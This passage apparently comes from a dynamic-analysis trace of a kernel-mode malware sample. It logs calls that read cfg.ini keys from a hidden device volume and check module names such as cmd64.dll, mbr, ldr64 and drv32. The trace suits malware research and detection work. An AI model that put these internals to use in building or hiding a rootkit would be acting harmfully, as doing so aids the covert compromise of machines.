_MaxCount=0x10) returned -108 [0128.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.475] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0128.475] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.475] KeLeaveCriticalRegion () [0128.475] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.475] ReleaseMutex (hMutex=0x100) returned 1 [0128.475] Sleep (dwMilliseconds=0x2bf20) [0128.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6fc6d450, dwHighDateTime=0x1d24fa4)) [0128.483] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0128.483] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.483] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.483] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.483] KeEnterCriticalRegion () [0128.483] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.483] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.483] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.483] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.483] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.483] IdePortDispatch () returned 0x103 [0128.484] KeWaitForMutexObject () returned 0x0 [0128.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.484] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.484] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.484] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.484] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.484] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff3a0 [0128.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.484] KeLeaveCriticalRegion () [0128.484] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.484] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.484] KeEnterCriticalRegion () [0128.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.484] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.484] KeLeaveCriticalRegion () [0128.484] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.484] KeEnterCriticalRegion () [0128.484] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.484] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.484] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.484] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.484] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.484] IdePortDispatch () returned 0x103 [0128.484] KeWaitForMutexObject () returned 0x0 [0128.484] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.484] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.484] KeLeaveCriticalRegion () [0128.484] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.485] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.485] KeEnterCriticalRegion () [0128.485] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.485] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035ae000 [0128.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.485] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.485] IdePortDispatch () returned 0x103 [0128.485] KeWaitForMutexObject () returned 0x0 [0128.485] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.485] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.485] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.485] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.485] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.485] IdePortDispatch () returned 0x103 [0128.485] KeWaitForMutexObject () returned 0x0 [0128.485] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.485] KeLeaveCriticalRegion () [0128.485] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.486] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.486] KeEnterCriticalRegion () [0128.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.486] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.486] KeLeaveCriticalRegion () [0128.486] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.486] KeEnterCriticalRegion () [0128.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.486] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.486] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.486] KeLeaveCriticalRegion () [0128.486] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.486] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.486] KeEnterCriticalRegion () [0128.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.486] ExFreePoolWithTag (P=0xfffffa8003bff3a0, Tag=0x0) [0128.486] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.486] KeLeaveCriticalRegion () [0128.486] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.486] ReleaseMutex (hMutex=0xf0) returned 1 [0128.486] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.486] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0128.486] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.486] KeEnterCriticalRegion () [0128.486] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.486] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.486] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.486] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.486] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.486] IdePortDispatch () returned 0x103 [0128.487] KeWaitForMutexObject () returned 0x0 [0128.487] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.487] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.487] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.487] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.487] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.487] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff240 [0128.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.487] KeLeaveCriticalRegion () [0128.487] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.487] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.487] KeEnterCriticalRegion () [0128.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.487] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.487] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.487] KeLeaveCriticalRegion () [0128.487] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.487] KeEnterCriticalRegion () [0128.487] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.487] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.487] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.487] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.487] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.487] IdePortDispatch () returned 0x103 [0128.487] KeWaitForMutexObject () returned 0x0 [0128.487] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.488] KeLeaveCriticalRegion () [0128.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.488] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.488] KeEnterCriticalRegion () [0128.488] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.488] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035af000 [0128.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.488] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.488] IdePortDispatch () returned 0x103 [0128.488] KeWaitForMutexObject () returned 0x0 [0128.488] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.488] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.488] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.488] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.488] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.488] IdePortDispatch () returned 0x103 [0128.488] KeWaitForMutexObject () returned 0x0 [0128.488] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.488] KeLeaveCriticalRegion () [0128.488] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.489] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.489] KeEnterCriticalRegion () [0128.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.489] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.489] KeLeaveCriticalRegion () [0128.489] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.489] KeEnterCriticalRegion () [0128.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.489] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.489] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c00070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.489] KeLeaveCriticalRegion () [0128.489] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.489] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.489] KeEnterCriticalRegion () [0128.489] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.489] ExFreePoolWithTag (P=0xfffffa8003bff240, Tag=0x0) [0128.489] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.489] KeLeaveCriticalRegion () [0128.489] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.489] ReleaseMutex (hMutex=0xf0) returned 1 [0128.489] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0128.489] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0128.490] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.490] KeEnterCriticalRegion () [0128.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.490] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.490] IdePortDispatch () returned 0x103 [0128.490] KeWaitForMutexObject () returned 0x0 [0128.490] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.490] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.490] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0128.490] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0128.490] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0128.490] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bff450 [0128.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.490] KeLeaveCriticalRegion () [0128.490] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.490] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.490] KeEnterCriticalRegion () [0128.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.490] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.490] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.490] KeLeaveCriticalRegion () [0128.490] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.490] KeEnterCriticalRegion () [0128.490] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.490] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.490] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.490] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.490] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0128.490] IdePortDispatch () returned 0x103 [0128.490] KeWaitForMutexObject () returned 0x0 [0128.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.491] KeLeaveCriticalRegion () [0128.491] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.491] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.491] KeEnterCriticalRegion () [0128.491] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.491] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035b0000 [0128.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.491] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.491] IdePortDispatch () returned 0x103 [0128.491] KeWaitForMutexObject () returned 0x0 [0128.491] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0128.491] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.491] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0128.491] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0128.491] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0128.491] IdePortDispatch () returned 0x103 [0128.491] KeWaitForMutexObject () returned 0x0 [0128.491] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.491] KeLeaveCriticalRegion () [0128.492] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.492] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.492] KeEnterCriticalRegion () [0128.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.492] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0128.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.492] KeLeaveCriticalRegion () [0128.492] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.492] KeEnterCriticalRegion () [0128.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.492] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0128.492] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bff9d0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0128.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.492] KeLeaveCriticalRegion () [0128.492] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.492] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0128.492] KeEnterCriticalRegion () [0128.492] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.492] ExFreePoolWithTag (P=0xfffffa8003bff450, Tag=0x0) [0128.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.492] KeLeaveCriticalRegion () [0128.492] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0128.492] ReleaseMutex (hMutex=0xf0) returned 1 [0128.492] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0128.492] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0128.493] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0128.493] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0128.493] KeEnterCriticalRegion () [0128.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0128.493] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0128.493] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0128.493] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0128.493] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0128.493] IdePortDispatch () returned 0x103 [0128.493] KeWaitForMutexObject () returned 0x0 [0128.493] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0128.493] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0128.493] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.493] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.493] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0128.493] _strnicmp (_Str1="drv32", 